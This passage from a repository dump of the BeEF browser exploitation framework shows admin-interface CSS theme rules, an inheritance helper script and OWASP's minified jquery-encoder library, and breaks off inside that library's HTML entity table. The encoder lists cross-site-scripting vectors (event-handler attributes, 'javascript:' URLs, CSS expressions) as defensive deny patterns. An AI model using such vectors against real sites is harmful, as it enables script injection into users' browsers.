url(../images/default/menu/item-over.gif);\n\tbackground-color: #dbecf4;\n    border-color:#aaccf6;\n}\n\n.x-menu-item-active a.x-menu-item {\n\tborder-color:#aaccf6;\n}\n\n.x-menu-check-item .x-menu-item-icon{\n\tbackground-image:url(../images/default/menu/unchecked.gif);\n}\n\n.x-menu-item-checked .x-menu-item-icon{\n\tbackground-image:url(../images/default/menu/checked.gif);\n}\n\n.x-menu-item-checked .x-menu-group-item .x-menu-item-icon{\n    background-image:url(../images/default/menu/group-checked.gif);\n}\n\n.x-menu-group-item .x-menu-item-icon{\n    background-image:none;\n}\n\n.x-menu-plain {\n\tbackground-color:#f0f0f0 !important;\n    background-image: none;\n}\n\n.x-date-menu, .x-color-menu{\n    background-color: #fff !important;\n}\n\n.x-menu .x-date-picker{\n    border-color:#a3bad9;\n}\n\n.x-cycle-menu .x-menu-item-checked {\n    border-color:#a3bae9 !important;\n    background-color:#def8f6;\n}\n\n.x-menu-scroller-top {\n    background-image:url(../images/default/layout/mini-top.gif);\n}\n\n.x-menu-scroller-bottom {\n    background-image:url(../images/default/layout/mini-bottom.gif);\n}\n.x-box-tl {\n\tbackground-image: url(../images/default/box/corners.gif);\n}\n\n.x-box-tc {\n\tbackground-image: url(../images/default/box/tb.gif);\n}\n\n.x-box-tr {\n\tbackground-image: url(../images/default/box/corners.gif);\n}\n\n.x-box-ml {\n\tbackground-image: url(../images/default/box/l.gif);\n}\n\n.x-box-mc {\n\tbackground-color: #eee;\n    background-image: url(../images/default/box/tb.gif);\n\tfont-family: \"Myriad Pro\",\"Myriad Web\",\"Tahoma\",\"Helvetica\",\"Arial\",sans-serif;\n\tcolor: #393939;\n\tfont-size: 12px;\n}\n\n.x-box-mc h3 {\n\tfont-size: 14px;\n\tfont-weight: bold;\n}\n\n.x-box-mr {\n\tbackground-image: url(../images/default/box/r.gif);\n}\n\n.x-box-bl {\n\tbackground-image: url(../images/default/box/corners.gif);\n}\n\n.x-box-bc {\n\tbackground-image: url(../images/default/box/tb.gif);\n}\n\n.x-box-br {\n\tbackground-image: url(../images/default/box/corners.gif);\n}\n\n.x-box-blue .x-box-bl, .x-box-blue .x-box-br, .x-box-blue .x-box-tl, .x-box-blue .x-box-tr {\n\tbackground-image: url(../images/default/box/corners-blue.gif);\n}\n\n.x-box-blue .x-box-bc, .x-box-blue .x-box-mc, .x-box-blue .x-box-tc {\n\tbackground-image: url(../images/default/box/tb-blue.gif);\n}\n\n.x-box-blue .x-box-mc {\n\tbackground-color: #c3daf9;\n}\n\n.x-box-blue .x-box-mc h3 {\n\tcolor: #17385b;\n}\n\n.x-box-blue .x-box-ml {\n\tbackground-image: url(../images/default/box/l-blue.gif);\n}\n\n.x-box-blue .x-box-mr {\n\tbackground-image: url(../images/default/box/r-blue.gif);\n}.x-combo-list {\n    border-color:#98c0f4;\n    background-color:#ddecfe;\n    font:normal 12px tahoma, arial, helvetica, sans-serif;\n}\n\n.x-combo-list-inner {\n    background-color:#fff;\n}\n\n.x-combo-list-hd {\n    font:bold 11px tahoma, arial, helvetica, sans-serif;\n    color:#15428b;\n    background-image: url(../images/default/layout/panel-title-light-bg.gif);\n    border-bottom-color:#98c0f4;\n}\n\n.x-resizable-pinned .x-combo-list-inner {\n    border-bottom-color:#98c0f4;\n}\n\n.x-combo-list-item {\n    border-color:#fff;\n}\n\n.x-combo-list .x-combo-selected{\n\tborder-color:#a3bae9 !important;\n    background-color:#dfe8f6;\n}\n\n.x-combo-list .x-toolbar {\n    border-top-color:#98c0f4;\n}\n\n.x-combo-list-small {\n    font:normal 11px tahoma, arial, helvetica, sans-serif;\n}.x-panel {\n    border-color: #99bbe8;\n}\n\n.x-panel-header {\n    color:#15428b;\n\tfont-weight:bold; \n    font-size: 11px;\n    font-family: tahoma,arial,verdana,sans-serif;\n    border-color:#99bbe8;\n    background-image: url(../images/default/panel/white-top-bottom.gif);\n}\n\n.x-panel-body {\n    border-color:#99bbe8;\n    background-color:#fff;\n}\n\n.x-panel-bbar .x-toolbar, .x-panel-tbar .x-toolbar {\n    border-color:#99bbe8;\n}\n\n.x-panel-tbar-noheader .x-toolbar, .x-panel-mc .x-panel-tbar .x-toolbar {\n    border-top-color:#99bbe8;\n}\n\n.x-panel-body-noheader, .x-panel-mc .x-panel-body {\n    border-top-color:#99bbe8;\n}\n\n.x-panel-tl .x-panel-header {\n    color:#15428b;\n\tfont:bold 11px tahoma,arial,verdana,sans-serif;\n}\n\n.x-panel-tc {\n\tbackground-image: url(../images/default/panel/top-bottom.gif);\n}\n\n.x-panel-tl, .x-panel-tr, .x-panel-bl,  .x-panel-br{\n\tbackground-image: url(../images/default/panel/corners-sprite.gif);\n    border-bottom-color:#99bbe8;\n}\n\n.x-panel-bc {\n\tbackground-image: url(../images/default/panel/top-bottom.gif);\n}\n\n.x-panel-mc {\n    font: normal 11px tahoma,arial,helvetica,sans-serif;\n    background-color:#dfe8f6;\n}\n\n.x-panel-ml {\n\tbackground-color: #fff;\n    background-image:url(../images/default/panel/left-right.gif);\n}\n\n.x-panel-mr {\n\tbackground-image: url(../images/default/panel/left-right.gif);\n}\n\n.x-tool {\n    background-image:url(../images/default/panel/tool-sprites.gif);\n}\n\n.x-panel-ghost {\n    background-color:#cbddf3;\n}\n\n.x-panel-ghost ul {\n    border-color:#99bbe8;\n}\n\n.x-panel-dd-spacer {\n    border-color:#99bbe8;\n}\n\n.x-panel-fbar td,.x-panel-fbar span,.x-panel-fbar input,.x-panel-fbar div,.x-panel-fbar select,.x-panel-fbar label{\n    font:normal 11px arial,tahoma, helvetica, sans-serif;\n}\n.x-window-proxy {\n    background-color:#c7dffc;\n    border-color:#99bbe8;\n}\n\n.x-window-tl .x-window-header {\n    color:#15428b;\n\tfont:bold 11px tahoma,arial,verdana,sans-serif;\n}\n\n.x-window-tc {\n\tbackground-image: url(../images/default/window/top-bottom.png);\n}\n\n.x-window-tl {\n\tbackground-image: url(../images/default/window/left-corners.png);\n}\n\n.x-window-tr {\n\tbackground-image: url(../images/default/window/right-corners.png);\n}\n\n.x-window-bc {\n\tbackground-image: url(../images/default/window/top-bottom.png);\n}\n\n.x-window-bl {\n\tbackground-image: url(../images/default/window/left-corners.png);\n}\n\n.x-window-br {\n\tbackground-image: url(../images/default/window/right-corners.png);\n}\n\n.x-window-mc {\n    border-color:#99bbe8;\n    font: normal 11px tahoma,arial,helvetica,sans-serif;\n    background-color:#dfe8f6;\n}\n\n.x-window-ml {\n\tbackground-image: url(../images/default/window/left-right.png);\n}\n\n.x-window-mr {\n\tbackground-image: url(../images/default/window/left-right.png);\n}\n\n.x-window-maximized .x-window-tc {\n    background-color:#fff;\n}\n\n.x-window-bbar .x-toolbar {\n    border-top-color:#99bbe8;\n}\n\n.x-panel-ghost .x-window-tl {\n    border-bottom-color:#99bbe8;\n}\n\n.x-panel-collapsed .x-window-tl {\n    border-bottom-color:#84a0c4;\n}\n\n.x-dlg-mask{\n   background-color:#ccc;\n}\n\n.x-window-plain .x-window-mc {\n    background-color: #ccd9e8;\n    border-color: #a3bae9 #dfe8f6 #dfe8f6 #a3bae9;\n}\n\n.x-window-plain .x-window-body {\n    border-color: #dfe8f6 #a3bae9 #a3bae9 #dfe8f6;\n}\n\nbody.x-body-masked .x-window-plain .x-window-mc {\n    background-color: #ccd9e8;\n}.x-html-editor-wrap {\n    border-color:#a9bfd3;\n    background-color:#fff;\n}\n.x-html-editor-tb .x-btn-text {\n    background-image:url(../images/default/editor/tb-sprite.gif);\n}.x-panel-noborder .x-panel-header-noborder {\n    border-bottom-color:#99bbe8;\n}\n\n.x-panel-noborder .x-panel-tbar-noborder .x-toolbar {\n    border-bottom-color:#99bbe8;\n}\n\n.x-panel-noborder .x-panel-bbar-noborder .x-toolbar {\n    border-top-color:#99bbe8;\n}\n\n.x-tab-panel-bbar-noborder .x-toolbar {\n    border-top-color:#99bbe8;\n}\n\n.x-tab-panel-tbar-noborder .x-toolbar {\n    border-bottom-color:#99bbe8;\n}.x-border-layout-ct {\n    background-color:#dfe8f6;\n}\n\n.x-accordion-hd {\n\tcolor:#222;\n    font-weight:normal;\n    background-image: url(../images/default/panel/light-hd.gif);\n}\n\n.x-layout-collapsed{\n    background-color:#d2e0f2;\n\tborder-color:#98c0f4;\n}\n\n.x-layout-collapsed-over{\n    background-color:#d9e8fb;\n}\n\n.x-layout-split-west .x-layout-mini {\n    background-image:url(../images/default/layout/mini-left.gif);\n}\n.x-layout-split-east .x-layout-mini {\n    background-image:url(../images/default/layout/mini-right.gif);\n}\n.x-layout-split-north .x-layout-mini {\n    background-image:url(../images/default/layout/mini-top.gif);\n}\n.x-layout-split-south .x-layout-mini {\n    background-image:url(../images/default/layout/mini-bottom.gif);\n}\n\n.x-layout-cmini-west .x-layout-mini {\n    background-image:url(../images/default/layout/mini-right.gif);\n}\n\n.x-layout-cmini-east .x-layout-mini {\n    background-image:url(../images/default/layout/mini-left.gif);\n}\n\n.x-layout-cmini-north .x-layout-mini {\n    background-image:url(../images/default/layout/mini-bottom.gif);\n}\n\n.x-layout-cmini-south .x-layout-mini {\n    background-image:url(../images/default/layout/mini-top.gif);\n}.x-progress-wrap {\n    border-color:#6593cf;\n}\n\n.x-progress-inner {\n    background-color:#e0e8f3;\n    background-image:url(../images/default/qtip/bg.gif);\n}\n\n.x-progress-bar {\n    background-color:#9cbfee;\n    background-image:url(../images/default/progress/progress-bg.gif);\n    border-top-color:#d1e4fd;\n    border-bottom-color:#7fa9e4;\n    border-right-color:#7fa9e4;\n}\n\n.x-progress-text {\n    font-size:11px;\n    font-weight:bold;\n    color:#fff;\n}\n\n.x-progress-text-back {\n    color:#396095;\n}.x-list-header{\n    background-color:#f9f9f9;\n\tbackground-image:url(../images/default/grid/grid3-hrow.gif);\n}\n\n.x-list-header-inner div em {\n    border-left-color:#ddd;\n    font:normal 11px arial, tahoma, helvetica, sans-serif;\n}\n\n.x-list-body dt em {\n    font:normal 11px arial, tahoma, helvetica, sans-serif;\n}\n\n.x-list-over {\n    background-color:#eee;\n}\n\n.x-list-selected {\n    background-color:#dfe8f6;\n}\n\n.x-list-resizer {\n    border-left-color:#555;\n    border-right-color:#555;\n}\n\n.x-list-header-inner em.sort-asc, .x-list-header-inner em.sort-desc {\n    background-image:url(../images/default/grid/sort-hd.gif);\n    border-color: #99bbe8;\n}.x-slider-horz, .x-slider-horz .x-slider-end, .x-slider-horz .x-slider-inner {\n    background-image:url(../images/default/slider/slider-bg.png);\n}\n\n.x-slider-horz .x-slider-thumb {\n    background-image:url(../images/default/slider/slider-thumb.png);\n}\n\n.x-slider-vert, .x-slider-vert .x-slider-end, .x-slider-vert .x-slider-inner {\n    background-image:url(../images/default/slider/slider-v-bg.png);\n}\n\n.x-slider-vert .x-slider-thumb {\n    background-image:url(../images/default/slider/slider-v-thumb.png);\n}.x-window-dlg .ext-mb-text,\n.x-window-dlg .x-window-header-text {\n    font-size:12px;\n}\n\n.x-window-dlg .ext-mb-textarea {\n    font:normal 12px tahoma,arial,helvetica,sans-serif;\n}\n\n.x-window-dlg .x-msg-box-wait {\n    background-image:url(../images/default/grid/loading.gif);\n}\n\n.x-window-dlg .ext-mb-info {\n    background-image:url(../images/default/window/icon-info.gif);\n}\n\n.x-window-dlg .ext-mb-warning {\n    background-image:url(../images/default/window/icon-warning.gif);\n}\n\n.x-window-dlg .ext-mb-question {\n    background-image:url(../images/default/window/icon-question.gif);\n}\n\n.x-window-dlg .ext-mb-error {\n    background-image:url(../images/default/window/icon-error.gif);\n}\n"
  },
  {
    "path": "extensions/admin_ui/media/images/icons/README",
    "content": "SVG flag icon images from:\nhttps://github.com/joielechong/iso-country-flags-svg-collection\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/esapi/Class.create.js",
    "content": "/*\n * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\n        /* Simple JavaScript Inheritance\n         * By John Resig http://ejohn.org/\n         * MIT Licensed.\n         */\n        // Inspired by base2 and Prototype\n        (function(){\n          var initializing = false, fnTest = /xyz/.test(function(){xyz;}) ? /\\b_super\\b/ : /.*/;\n\n          // The base Class implementation (does nothing)\n          this.Class = function(){};\n\n          // Create a new Class that inherits from this class\n          Class.extend = function(prop) {\n            var _super = this.prototype;\n\n            // Instantiate a base class (but only create the instance,\n            // don't run the init constructor)\n            initializing = true;\n            var prototype = new this();\n            initializing = false;\n\n            // Copy the properties over onto the new prototype\n            for (var name in prop) {\n              // Check if we're overwriting an existing function\n              prototype[name] = typeof prop[name] == \"function\" &&\n                typeof _super[name] == \"function\" && fnTest.test(prop[name]) ?\n                (function(name, fn){\n                  return function() {\n                    var tmp = this._super;\n\n                    // Add a new ._super() method that is the same method\n                    // but on the super-class\n                    this._super = _super[name];\n\n                    // The method only need to be bound temporarily, so we\n                    // remove it when we're done executing\n                    var ret = fn.apply(this, arguments);\n                    this._super = tmp;\n\n                    return ret;\n                  };\n                })(name, prop[name]) :\n                prop[name];\n            }\n\n            // The dummy class constructor\n            function Class() {\n              // All construction is actually done in the init method\n              if ( !initializing && this.init )\n                this.init.apply(this, arguments);\n            }\n\n            // Populate our constructed prototype object\n            Class.prototype = prototype;\n\n            // Enforce the constructor to be what we expect\n            Class.constructor = Class;\n\n            // And make this class extendable\n            Class.extend = arguments.callee;\n\n            return Class;\n          };\n        })();\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/esapi/jquery-encoder-0.1.0.js",
    "content": "/*\n * Copyright (c) 2010 - The OWASP Foundation\n *\n * The jquery-encoder is published by OWASP under the MIT license. You should read and accept the\n * LICENSE before you use, modify, and/or redistribute this software.\n */\n\n(function($){var default_immune={'js':[',','.','_',' ']};var attr_whitelist_classes={'default':[',','.','-','_',' ']};var attr_whitelist={'width':['%'],'height':['%']};var css_whitelist_classes={'default':['-',' ','%'],'color':['#',' ','(',')'],'image':['(',')',':','/','?','&','-','.','\"','=',' ']};var css_whitelist={'background':['(',')',':','%','/','?','&','-',' ','.','\"','=','#'],'background-image':css_whitelist_classes['image'],'background-color':css_whitelist_classes['color'],'border-color':css_whitelist_classes['color'],'border-image':css_whitelist_classes['image'],'color':css_whitelist_classes['color'],'icon':css_whitelist_classes['image'],'list-style-image':css_whitelist_classes['image'],'outline-color':css_whitelist_classes['color']};var unsafeKeys={'attr_name':['on[a-z]{1,}','style','href','src'],'attr_val':['javascript:'],'css_key':['behavior','-moz-behavior','-ms-behavior'],'css_val':['expression']};var options={blacklist:true};var hasBeenInitialized=false;$.encoder={author:'Chris Schmidt (chris.schmidt@owasp.org)',version:'${project.version}',init:function(opts){if(hasBeenInitialized)\nthrow\"jQuery Encoder has already been initialized - cannot set options after initialization\";hasBeenInitialized=true;$.extend(options,opts);},encodeForHTML:function(input){hasBeenInitialized=true;var div=document.createElement('div');$(div).text(input);return $(div).html();},encodeForHTMLAttribute:function(attr,input,omitAttributeName){hasBeenInitialized=true;attr=$.encoder.canonicalize(attr).toLowerCase();input=$.encoder.canonicalize(input);if($.inArray(attr,unsafeKeys['attr_name'])>=0){throw\"Unsafe attribute name used: \"+attr;}\nfor(var a=0;a<unsafeKeys['attr_val'];a++){if(input.toLowerCase().match(unsafeKeys['attr_val'][a])){throw\"Unsafe attribute value used: \"+input;}}\nimmune=attr_whitelist[attr];if(!immune)immune=attr_whitelist_classes['default'];var encoded='';if(!omitAttributeName){for(var p=0;p<attr.length;p++){var pc=attr.charAt(p);if(!pc.match(/[a-zA-Z\\-0-9]/)){throw\"Invalid attribute name specified\";}\nencoded+=pc;}\nencoded+='=\"';}\nfor(var i=0;i<input.length;i++){var ch=input.charAt(i),cc=input.charCodeAt(i);if(!ch.match(/[a-zA-Z0-9]/)&&$.inArray(ch,immune)<0){var hex=cc.toString(16);encoded+='&#x'+hex+';';}else{encoded+=ch;}}\nif(!omitAttributeName){encoded+='\"';}\nreturn encoded;},encodeForCSS:function(propName,input,omitPropertyName){hasBeenInitialized=true;propName=$.encoder.canonicalize(propName).toLowerCase();input=$.encoder.canonicalize(input);if($.inArray(propName,unsafeKeys['css_key'])>=0){throw\"Unsafe property name used: \"+propName;}\nfor(var a=0;a<unsafeKeys['css_val'].length;a++){if(input.toLowerCase().indexOf(unsafeKeys['css_val'][a])>=0){throw\"Unsafe property value used: \"+input;}}\nimmune=css_whitelist[propName];if(!immune)immune=css_whitelist_classes['default'];var encoded='';if(!omitPropertyName){for(var p=0;p<propName.length;p++){var pc=propName.charAt(p);if(!pc.match(/[a-zA-Z\\-]/)){throw\"Invalid Property Name specified\";}\nencoded+=pc;}\nencoded+=': ';}\nfor(var i=0;i<input.length;i++){var ch=input.charAt(i),cc=input.charCodeAt(i);if(!ch.match(/[a-zA-Z0-9]/)&&$.inArray(ch,immune)<0){var hex=cc.toString(16);var pad='000000'.substr((hex.length));encoded+='\\\\'+pad+hex;}else{encoded+=ch;}}\nreturn encoded;},encodeForURL:function(input,attr){hasBeenInitialized=true;var encoded='';if(attr){if(attr.match(/^[A-Za-z\\-0-9]{1,}$/)){encoded+=$.encoder.canonicalize(attr).toLowerCase();}else{throw\"Illegal Attribute Name Specified\";}\nencoded+='=\"';}\nencoded+=encodeURIComponent(input);encoded+=attr?'\"':'';return encoded;},encodeForJavascript:function(input){hasBeenInitialized=true;immune=default_immune['js'];var encoded='';for(var i=0;i<input.length;i++){var ch=input.charAt(i),cc=input.charCodeAt(i);if($.inArray(ch,immune)>=0||hex[cc]==null){encoded+=ch;continue;}\nvar temp=cc.toString(16),pad;if(cc<256){pad='00'.substr(temp.length);encoded+='\\\\x'+pad+temp.toUpperCase();}else{pad='0000'.substr(temp.length);encoded+='\\\\u'+pad+temp.toUpperCase();}}\nreturn encoded;},canonicalize:function(input,strict){hasBeenInitialized=true;if(input===null)return null;var out=input,cycle_out=input;var decodeCount=0,cycles=0;var codecs=[new HTMLEntityCodec(),new PercentCodec(),new CSSCodec()];while(true){cycle_out=out;for(var i=0;i<codecs.length;i++){var new_out=codecs[i].decode(out);if(new_out!=out){decodeCount++;out=new_out;}}\nif(cycle_out==out){break;}\ncycles++;}\nif(strict&&decodeCount>1){throw\"Attack Detected - Multiple/Double Encodings used in input\";}\nreturn out;}};var hex=[];for(var c=0;c<0xFF;c++){if(c>=0x30&&c<=0x39||c>=0x41&&c<=0x5a||c>=0x61&&c<=0x7a){hex[c]=null;}else{hex[c]=c.toString(16);}}\nvar methods={html:function(opts){return $.encoder.encodeForHTML(opts.unsafe);},css:function(opts){var work=[];var out=[];if(opts.map){work=opts.map;}else{work[opts.name]=opts.unsafe;}\nfor(var k in work){if(!(typeof work[k]=='function')&&work.hasOwnProperty(k)){out[k]=$.encoder.encodeForCSS(k,work[k],true);}}\nreturn out;},attr:function(opts){var work=[];var out=[];if(opts.map){work=opts.map;}else{work[opts.name]=opts.unsafe;}\nfor(var k in work){if(!(typeof work[k]=='function')&&work.hasOwnProperty(k)){out[k]=$.encoder.encodeForHTMLAttribute(k,work[k],true);}}\nreturn out;}};$.fn.encode=function(){hasBeenInitialized=true;var argCount=arguments.length;var opts={'context':'html','unsafe':null,'name':null,'map':null,'setter':null,'strict':true};if(argCount==1&&typeof arguments[0]=='object'){$.extend(opts,arguments[0]);}else{opts.context=arguments[0];if(arguments.length==2){if(opts.context=='html'){opts.unsafe=arguments[1];}\nelse if(opts.content=='attr'||opts.content=='css'){opts.map=arguments[1];}}else{opts.name=arguments[1];opts.unsafe=arguments[2];}}\nif(opts.context=='html'){opts.setter=this.html;}\nelse if(opts.context=='css'){opts.setter=this.css;}\nelse if(opts.context=='attr'){opts.setter=this.attr;}\nreturn opts.setter.call(this,methods[opts.context].call(this,opts));};var PushbackString=Class.extend({_input:null,_pushback:null,_temp:null,_index:0,_mark:0,_hasNext:function(){if(this._input==null)return false;if(this._input.length==0)return false;return this._index<this._input.length;},init:function(input){this._input=input;},pushback:function(c){this._pushback=c;},index:function(){return this._index;},hasNext:function(){if(this._pushback!=null)return true;return this._hasNext();},next:function(){if(this._pushback!=null){var save=this._pushback;this._pushback=null;return save;}\nreturn(this._hasNext())?this._input.charAt(this._index++):null;},nextHex:function(){var c=this.next();if(c==null)return null;if(c.match(/[0-9A-Fa-f]/))return c;return null;},peek:function(c){if(c){if(this._pushback&&this._pushback==c)return true;return this._hasNext()?this._input.charAt(this._index)==c:false;}\nif(this._pushback)return this._pushback;return this._hasNext()?this._input.charAt(this._index):null;},mark:function(){this._temp=this._pushback;this._mark=this._index;},reset:function(){this._pushback=this._temp;this._index=this._mark;},remainder:function(){var out=this._input.substr(this._index);if(this._pushback!=null){out=this._pushback+out;}\nreturn out;}});var Codec=Class.extend({decode:function(input){var out='',pbs=new PushbackString(input);while(pbs.hasNext()){var c=this.decodeCharacter(pbs);if(c!=null){out+=c;}else{out+=pbs.next();}}\nreturn out;},decodeCharacter:function(pbs){return pbs.next();}});var HTMLEntityCodec=Codec.extend({decodeCharacter:function(input){input.mark();var first=input.next();if(first==null||first!='&'){input.reset();return null;}\nvar second=input.next();if(second==null){input.reset();return null;}\nvar c;if(second=='#'){c=this._getNumericEntity(input);if(c!=null)return c;}else if(second.match(/[A-Za-z]/)){input.pushback(second);c=this._getNamedEntity(input);if(c!=null)return c;}\ninput.reset();return null;},_getNamedEntity:function(input){var possible='',entry,len;len=Math.min(input.remainder().length,ENTITY_TO_CHAR_TRIE.getMaxKeyLength());for(var i=0;i<len;i++){possible+=input.next().toLowerCase();}\nentry=ENTITY_TO_CHAR_TRIE.getLongestMatch(possible);if(entry==null)\nreturn null;input.reset();input.next();len=entry.getKey().length;for(var j=0;j<len;j++){input.next();}\nif(input.peek(';'))\ninput.next();return entry.getValue();},_getNumericEntity:function(input){var first=input.peek();if(first==null)return null;if(first=='x'||first=='X'){input.next();return this._parseHex(input);}\nreturn this._parseNumber(input);},_parseHex:function(input){var out='';while(input.hasNext()){var c=input.peek();if(!isNaN(parseInt(c,16))){out+=c;input.next();}else if(c==';'){input.next();break;}else{break;}}\nvar i=parseInt(out,16);if(!isNaN(i)&&isValidCodePoint(i))return String.fromCharCode(i);return null;},_parseNumber:function(input){var out='';while(input.hasNext()){var ch=input.peek();if(!isNaN(parseInt(ch,10))){out+=ch;input.next();}else if(ch==';'){input.next();break;}else{break;}}\nvar i=parseInt(out,10);if(!isNaN(i)&&isValidCodePoint(i))return String.fromCharCode(i);return null;}});var PercentCodec=Codec.extend({decodeCharacter:function(input){input.mark();var first=input.next();if(first==null){input.reset();return null;}\nif(first!='%'){input.reset();return null;}\nvar out='';for(var i=0;i<2;i++){var c=input.nextHex();if(c!=null)out+=c;}\nif(out.length==2){var p=parseInt(out,16);if(isValidCodePoint(p))\nreturn String.fromCharCode(p);}\ninput.reset();return null;}});var CSSCodec=Codec.extend({decodeCharacter:function(input){input.mark();var first=input.next();if(first==null||first!='\\\\'){input.reset();return null;}\nvar second=input.next();if(second==null){input.reset();return null;}\nswitch(second){case'\\r':if(input.peek('\\n')){input.next();}\ncase'\\n':case'\\f':case'\\u0000':return this.decodeCharacter(input);}\nif(parseInt(second,16)=='NaN'){return second;}\nvar out=second;for(var j=0;j<5;j++){var c=input.next();if(c==null||isWhiteSpace(c)){break;}\nif(parseInt(c,16)!='NaN'){out+=c;}else{input.pushback(c);break;}}\nvar p=parseInt(out,16);if(isValidCodePoint(p))\nreturn String.fromCharCode(p);return'\\ufffd';}});var Trie=Class.extend({root:null,maxKeyLen:0,size:0,init:function(){this.clear();},getLongestMatch:function(key){return(this.root==null&&key==null)?null:this.root.getLongestMatch(key,0);},getMaxKeyLength:function(){return this.maxKeyLen;},clear:function(){this.root=null,this.maxKeyLen=0,this.size=0;},put:function(key,val){var len,old;if(this.root==null)\nthis.root=new Trie.Node();if((old=this.root.put(key,0,val))!=null)\nreturn old;if((len=key.length)>this.maxKeyLen)\nthis.maxKeyLen=key.length;this.size++;return null;}});Trie.Entry=Class.extend({_key:null,_value:null,init:function(key,value){this._key=key,this._value=value;},getKey:function(){return this._key;},getValue:function(){return this._value;},equals:function(other){if(!(other instanceof Trie.Entry)){return false;}\nreturn this._key==other._key&&this._value==other._value;}});Trie.Node=Class.extend({_value:null,_nextMap:null,setValue:function(value){this._value=value;},getNextNode:function(ch){if(!this._nextMap)return null;return this._nextMap[ch];},put:function(key,pos,value){var nextNode,ch,old;if(key.length==pos){old=this._value;this.setValue(value);return old;}\nch=key.charAt(pos);if(this._nextMap==null){this._nextMap=Trie.Node.newNodeMap();nextNode=new Trie.Node();this._nextMap[ch]=nextNode;}else if((nextNode=this._nextMap[ch])==null){nextNode=new Trie.Node();this._nextMap[ch]=nextNode;}\nreturn nextNode.put(key,pos+1,value);},get:function(key,pos){var nextNode;if(key.length<=pos)\nreturn this._value;if((nextNode=this.getNextNode(key.charAt(pos)))==null)\nreturn null;return nextNode.get(key,pos+1);},getLongestMatch:function(key,pos){var nextNode,ret;if(key.length<=pos){return Trie.Entry.newInstanceIfNeeded(key,this._value);}\nif((nextNode=this.getNextNode(key.charAt(pos)))==null){return Trie.Entry.newInstanceIfNeeded(key,pos,this._value);}\nif((ret=nextNode.getLongestMatch(key,pos+1))!=null){return ret;}\nreturn Trie.Entry.newInstanceIfNeeded(key,pos,this._value);}});Trie.Entry.newInstanceIfNeeded=function(){var key=arguments[0],value,keyLength;if(typeof arguments[1]=='string'){value=arguments[1];keyLength=key.length;}else{keyLength=arguments[1];value=arguments[2];}\nif(value==null||key==null){return null;}\nif(key.length>keyLength){key=key.substr(0,keyLength);}\nreturn new Trie.Entry(key,value);};Trie.Node.newNodeMap=function(){return{};};var isValidCodePoint=function(codepoint){return codepoint>=0x0000&&codepoint<=0x10FFFF;};var isWhiteSpace=function(input){return input.match(/[\\s]/);};var MAP_ENTITY_TO_CHAR=[];var MAP_CHAR_TO_ENTITY=[];var ENTITY_TO_CHAR_TRIE=new Trie();(function(){MAP_ENTITY_TO_CHAR[\"&quot\"]=\"34\";MAP_ENTITY_TO_CHAR[\"&amp\"]=\"38\";MAP_ENTITY_TO_CHAR[\"&lt\"]=\"60\";MAP_ENTITY_TO_CHAR[\"&gt\"]=\"62\";MAP_ENTITY_TO_CHAR[\"&nbsp\"]=\"160\";MAP_ENTITY_TO_CHAR[\"&iexcl\"]=\"161\";MAP_ENTITY_TO_CHAR[\"&cent\"]=\"162\";MAP_ENTITY_TO_CHAR[\"&pound\"]=\"163\";MAP_ENTITY_TO_CHAR[\"&curren\"]=\"164\";MAP_ENTITY_TO_CHAR[\"&yen\"]=\"165\";MAP_ENTITY_TO_CHAR[\"&brvbar\"]=\"166\";MAP_ENTITY_TO_CHAR[\"&sect\"]=\"167\";MAP_ENTITY_TO_CHAR[\"&uml\"]=\"168\";MAP_ENTITY_TO_CHAR[\"&copy\"]=\"169\";MAP_ENTITY_TO_CHAR[\"&ordf\"]=\"170\";MAP_ENTITY_TO_CHAR[\"&laquo\"]=\"171\";MAP_ENTITY_TO_CHAR[\"&not\"]=\"172\";MAP_ENTITY_TO_CHAR[\"&shy\"]=\"173\";MAP_ENTITY_TO_CHAR[\"&reg\"]=\"174\";MAP_ENTITY_TO_CHAR[\"&macr\"]=\"175\";MAP_ENTITY_TO_CHAR[\"&deg\"]=\"176\";MAP_ENTITY_TO_CHAR[\"&plusmn\"]=\"177\";MAP_ENTITY_TO_CHAR[\"&sup2\"]=\"178\";MAP_ENTITY_TO_CHAR[\"&sup3\"]=\"179\";MAP_ENTITY_TO_CHAR[\"&acute\"]=\"180\";MAP_ENTITY_TO_CHAR[\"&micro\"]=\"181\";MAP_ENTITY_TO_CHAR[\"&para\"]=\"182\";MAP_ENTITY_TO_CHAR[\"&middot\"]=\"183\";MAP_ENTITY_TO_CHAR[\"&cedil\"]=\"184\";MAP_ENTITY_TO_CHAR[\"&sup1\"]=\"185\";MAP_ENTITY_TO_CHAR[\"&ordm\"]=\"186\";MAP_ENTITY_TO_CHAR[\"&raquo\"]=\"187\";MAP_ENTITY_TO_CHAR[\"&frac14\"]=\"188\";MAP_ENTITY_TO_CHAR[\"&frac12\"]=\"189\";MAP_ENTITY_TO_CHAR[\"&frac34\"]=\"190\";MAP_ENTITY_TO_CHAR[\"&iquest\"]=\"191\";MAP_ENTITY_TO_CHAR[\"&Agrave\"]=\"192\";MAP_ENTITY_TO_CHAR[\"&Aacute\"]=\"193\";MAP_ENTITY_TO_CHAR[\"&Acirc\"]=\"194\";MAP_ENTITY_TO_CHAR[\"&Atilde\"]=\"195\";MAP_ENTITY_TO_CHAR[\"&Auml\"]=\"196\";MAP_ENTITY_TO_CHAR[\"&Aring\"]=\"197\";MAP_ENTITY_TO_CHAR[\"&AElig\"]=\"198\";MAP_ENTITY_TO_CHAR[\"&Ccedil\"]=\"199\";MAP_ENTITY_TO_CHAR[\"&Egrave\"]=\"200\";MAP_ENTITY_TO_CHAR[\"&Eacute\"]=\"201\";MAP_ENTITY_TO_CHAR[\"&Ecirc\"]=\"202\";MAP_ENTITY_TO_CHAR[\"&Euml\"]=\"203\";MAP_ENTITY_TO_CHAR[\"&Igrave\"]=\"204\";MAP_ENTITY_TO_CHAR[\"&Iacute\"]=\"205\";MAP_ENTITY_TO_CHAR[\"&Icirc\"]=\"206\";MAP_ENTITY_TO_CHAR[\"&Iuml\"]=\"207\";MAP_ENTITY_TO_CHAR[\"&ETH\"]=\"208\";MAP_ENTITY_TO_CHAR[\"&Ntilde\"]=\"209\";MAP_ENTITY_TO_CHAR[\"&Ograve\"]=\"210\";MAP_ENTITY_TO_CHAR[\"&Oacute\"]=\"211\";MAP_ENTITY_TO_CHAR[\"&Ocirc\"]=\"212\";MAP_ENTITY_TO_CHAR[\"&Otilde\"]=\"213\";MAP_ENTITY_TO_CHAR[\